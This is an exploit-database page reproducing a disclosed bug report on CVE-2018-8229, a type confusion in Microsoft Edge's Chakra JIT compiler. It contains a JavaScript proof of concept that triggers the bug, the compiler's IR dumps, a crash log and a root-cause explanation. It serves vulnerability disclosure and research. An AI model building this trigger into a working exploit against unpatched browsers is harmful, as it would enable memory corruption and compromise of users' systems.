Microsoft Edge Chakra JIT SetConcatStrMultiItemBE Type Confusion



EKU-ID: 7740 CVE: 2018-8229 OSVDB-ID:
Author: lokihardt Published: 2018-07-13 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Microsoft Edge: Chakra: JIT: Type confusion with hoisted SetConcatStrMultiItemBE instructions 

CVE-2018-8229


Here's a PoC:
function opt(str) {
    for (let i = 0; i < 200; i++) {
        let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
    }
}

opt('x');
opt(0x1234);


Here's the IR code of the PoC before the global optimization phase:
---------
                       FunctionEntry                                          #
    s18.u64         =  ArgIn_A        prm1<32>.var                            #
    s9.var          =  LdSlot         s32(s18l[53]).var                       #
    s7.var          =  LdSlot         s20(s18l[51]).var                       #
    s8.var          =  LdSlot         s19(s18l[52]).var                       #
    s1[Object].var  =  Ld_A           0x7FFFF47A0000 (GlobalObject)[Object].var #
    s2.var          =  LdC_A_I4       0 (0x0).i32                             #
    s3.var          =  LdC_A_I4       200 (0xC8).i32                          #
    s4.var          =  LdC_A_I4       1 (0x1).i32                             #
    s5[String].var  =  LdStr          0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
    s6[String].var  =  LdStr          0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
    s17.var         =  InitLoopBodyCount                                      #0009 
---------
$L1: >>>>>>>>>>>>>  LOOP TOP  >>>>>>>>>>>>>       Implicit call: no           #000b 


  Line   2: i < 200; i++) {
  Col   21: ^
                       StatementBoundary  #1                                  #000b 
    s17.i32         =  IncrLoopBodyCount  s17.i32                             #000b 
                       BrLt_A         $L3, s8.var, s3.var                     #000b 
                       Br             $L2                                     #0010 
---------
$L3:                                                                          #0013 


  Line   3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
  Col    9: ^
                       StatementBoundary  #2                                  #0013 
    s13.var         =  Ld_A           s7.var                                  #0013 
                       CheckFixedFld  s21(s13->charCodeAt)<0,m~=,+-,s?,s?>.var #0016  Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)
    s12[ffunc][Object].var = Ld_A     0x7FFFF47972C0 (FunctionObject).var     #
    s22.var         =  StartCall      2 (0x2).i32                             #001a 
    s36.var         =  BytecodeArgOutCapture  s13.var                         #001d 
    s24[String].var =  Conv_PrimStr   s5.var                                  #0020 
    s25[String].var =  Conv_PrimStr   s7.var                                  #0020 
    s26[String].var =  Conv_PrimStr   s6.var                                  #0020 
                       ByteCodeUses   s7                                      #0020 
    s27.var         =  SetConcatStrMultiItemBE  s24[String].var               #0020 
    s28.var         =  SetConcatStrMultiItemBE  s25[String].var, s27.var      #0020 
    s29.var         =  SetConcatStrMultiItemBE  s26[String].var, s28.var      #0020 
    s14[String].var =  NewConcatStrMultiBE  3 (0x3).u32, s29.var              #0020 
    s35.var         =  BytecodeArgOutCapture  s14.var                         #0025 
    arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized  0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var #0028 
    arg1(s23)<0>.var = ArgOut_A       s36.var, s22.var                        #0028 
    arg2(s30)<8>.var = ArgOut_A       s35.var, arg1(s23)<0>.var               #0028 
                       ByteCodeUses   s12                                     #0028 
    s31[CanBeTaggedValue_Int_Number].var = CallDirect  String_CharCodeAt.u64, arg1(s34)<0>.u64 #0028 
    s9.var          =  Ld_A           s31.var                                 #0032 


  Line   2: i++) {
  Col   30: ^
                       StatementBoundary  #3                                  #0035 
    s8.var          =  Incr_A         s8.var                                  #0035 
                       Br             $L1                                     #0038 
---------
$L2:                                                                          #003d 


  Line   5: }
  Col    1: ^
                       StatementBoundary  #4                                  #0038 
    s16.i64         =  Ld_I4          61 (0x3D).i64                           #003d 
    s19(s18l[52]).var = StSlot        s8.var                                  #003e 
    s32(s18l[53]).var = StSlot        s9.var                                  #003e 
                       StLoopBodyCount  s17.i32                               #003e 
                       Ret            s16.i64                                 #003e 
----------------------------------------------------------------------------------------

After the global optimization phase:
---------
    FunctionEntry                                          #
    s18.u64         =  ArgIn_A        prm1<32>.var!                           #
    s9[LikelyCanBeTaggedValue_Int].var = LdSlot  s32(s18l[53])[LikelyCanBeTaggedValue_Int].var! #
    s7<s44>[LikelyCanBeTaggedValue_String].var = LdSlot  s20(s18l[51])[LikelyCanBeTaggedValue_String].var! #
    s8[LikelyCanBeTaggedValue_Int].var = LdSlot  s19(s18l[52])[LikelyCanBeTaggedValue_Int].var! #
    s5[String].var  =  LdStr          0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
    s6[String].var  =  LdStr          0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
    s17.var         =  InitLoopBodyCount                                      #0009 
    s42(s8).i32     =  FromVar        s8[LikelyCanBeTaggedValue_Int].var      #      Bailout: #000b (BailOutIntOnly)
    s27.var         =  SetConcatStrMultiItemBE  s5[String].var                #0020 
    s49[String].var =  Conv_PrimStr   s7<s44>[String].var                     #
    s28.var         =  SetConcatStrMultiItemBE  s49[String].var!, s27.var!    #0020 
    s29.var         =  SetConcatStrMultiItemBE  s6[String].var, s28.var!      #0020 
    s14[String].var =  NewConcatStrMultiBE  3 (0x3).u32, s29.var!             #0020 
                       BailTarget                                             #      Bailout: #000b (BailOutShared)
---------
$L1: >>>>>>>>>>>>>  LOOP TOP  >>>>>>>>>>>>>       Implicit call: no           #000b 


  Line   2: i < 200; i++) {
  Col   21: ^
                       StatementBoundary  #1                                  #000b 
    s17.i32         =  IncrLoopBodyCount  s17.i32!                            #000b 
                       BrGe_I4        $L2, s42(s8).i32, 200 (0xC8).i32        #000b 


  Line   3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
  Col    9: ^
                       StatementBoundary  #2                                  #0013 
                       CheckFixedFld  s43(s7<s44>[LikelyCanBeTaggedValue_String]->charCodeAt)<0,m~=,++,s44!,s45+,{charCodeAt(0)~=}>.var! #0016  Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)
    s22.var         =  StartCall      2 (0x2).i32                             #001a 
    arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized  0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var! #0028 
    arg1(s23)<0>.var = ArgOut_A       s7<s44>[String].var, s22.var!           #0028 
    arg2(s30)<8>.var = ArgOut_A       s14[String].var, arg1(s23)<0>.var!      #0028 
    s31[CanBeTaggedValue_Int_Number].var = CallDirect  String_CharCodeAt.u64, arg1(s34)<0>.u64! #0028  Bailout: #0032 (BailOutOnImplicitCalls)
    s9[CanBeTaggedValue_Int_Number].var = Ld_A  s31[CanBeTaggedValue_Int_Number].var! #0032 


  Line   2: i++) {
  Col   30: ^
                       StatementBoundary  #3                                  #0035 
    s42(s8).i32     =  Add_I4         s42(s8).i32!, 1 (0x1).i32               #0035 
                       Br             $L1                                     #0038 
---------
$L2:                                                                          #003d 


  Line   5: }
  Col    1: ^
                       StatementBoundary  #4                                  #003d 
    s8[CanBeTaggedValue_Int].var = ToVar  s42(s8).i32!                        #003e 
    s19(s18l[52])[CanBeTaggedValue_Int].var! = StSlot  s8[CanBeTaggedValue_Int].var! #003e 
    s32(s18l[53])[LikelyCanBeTaggedValue_Int_Number].var! = StSlot  s9[LikelyCanBeTaggedValue_Int_Number].var! #003e 
                       StLoopBodyCount  s17.i32!                              #003e 
                       Ret            61 (0x3D).i32                           #003e 
----------------------------------------------------------------------------------------

Crash log:
[----------------------------------registers-----------------------------------]
RAX: 0x1000000001234 
RBX: 0x7ffff47c5ff4 --> 0x31 ('1')
RCX: 0x7ff7f4600000 --> 0x0 
RDX: 0x0 
RSI: 0x80000001 --> 0x0 
RDI: 0x1000000001234 
RBP: 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 --> 0x7fffffff48b0 (--> ...)
RSP: 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234 
RIP: 0x7ff7f385017a (cmp    QWORD PTR [rax],r10)
R8 : 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push   rbp)
R9 : 0x7ff7f4600000 --> 0x0 
R10: 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push   rbp)
R11: 0x7ffff47b9080 --> 0x55555cfa0f18 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>:  push   rbp)
R12: 0x0 
R13: 0x7ffff47b36b0 --> 0x55555cfbee70 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>:  push   rbp)
R14: 0x0 
R15: 0x1000000001234
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ff7f385016e:  mov    BYTE PTR [rcx+rax*1],0x1
   0x7ff7f3850172:  mov    rax,QWORD PTR [rbp-0x10]
   0x7ff7f3850176:  mov    r10,QWORD PTR [rbp-0x18]
=> 0x7ff7f385017a:  cmp    QWORD PTR [rax],r10
   0x7ff7f385017d:  je     0x7ff7f385037c
   0x7ff7f3850183:  mov    rcx,rax
   0x7ff7f3850186:  mov    QWORD PTR [rbp-0x18],rcx
   0x7ff7f385018a:  mov    eax,DWORD PTR [rcx+0x18]
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234 
0008| 0x7ffffffef348 --> 0x7ffff471c1e0 --> 0x55555cf48850 --> 0x555556c17100 (<Js::FunctionBody::Finalize(bool)>:  push   rbp)
0016| 0x7ffffffef350 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708 
0024| 0x7ffffffef358 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708 
0032| 0x7ffffffef360 --> 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 (--> ...)
0040| 0x7ffffffef368 --> 0x555556c40b8b (<Js::CompactCounters<Js::FunctionBody, Js::FunctionBody::CounterFields>::Get(Js::FunctionBody::CounterFields) const+139>:  movzx  ecx,BYTE PTR [rbp-0x22])
0048| 0x7ffffffef370 --> 0x7ffff47a4238 --> 0x7ffff47c5fe0 --> 0x7ffff4796a40 --> 0x55555cf4df58 --> 0x555556cb7a20 (<JsUtil::List<Js::LoopEntryPointInfo*, Memory::Recycler, false, Js::CopyRemovePolicy, DefaultComparer>::IsReadOnly() const>:   push   rbp)
0056| 0x7ffffffef378 --> 0x7ffffffef4a0 --> 0x7ffffffef4c0 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 (--> ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ff7f385017a in ?? ()


Background:
Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction.

What happens here is:
1. The CheckFixedFld instruction ensures the type of s7 to be String.
2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop.
3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String).
4. So the "s49[String].var =  Conv_PrimStr   s7<s44>[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all.
5. No type check will be performed. It will result in type confusion.




This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt